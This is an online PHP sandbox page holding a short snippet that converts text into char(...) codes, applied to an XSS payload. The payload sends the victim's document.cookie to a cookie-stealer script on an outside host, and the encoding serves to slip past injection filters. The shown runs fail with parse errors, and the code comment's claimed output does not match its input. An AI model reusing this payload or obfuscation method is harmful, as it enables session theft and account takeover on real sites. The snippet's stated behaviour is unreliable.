3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php function AsciiToInt($char){ $success = ""; if(strlen($char) == 1) return "char(".ord($char).")"; else{ for($i = 0; $i < strlen($char); $i++){ if($i == strlen($char) - 1) $success = $success.ord($char[$i]); else $success = $success.ord($char[$i]).","; } return "char(".$success.")"; } } echo AsciiToInt("<script language="JavaScript">location.href='http://skrubbeltrang.t15.org/adv_cookie_stealer.php?c='+document.cookie;</script>");//outputs char(60,98,114,62) ?>
Output for 5.4.0 - 5.4.27
Parse error: syntax error, unexpected 'JavaScript' (T_STRING) in /in/AaZhr on line 16
Process exited with code 255.
Output for 5.3.0 - 5.3.28
Parse error: syntax error, unexpected T_STRING in /in/AaZhr on line 16
Process exited with code 255.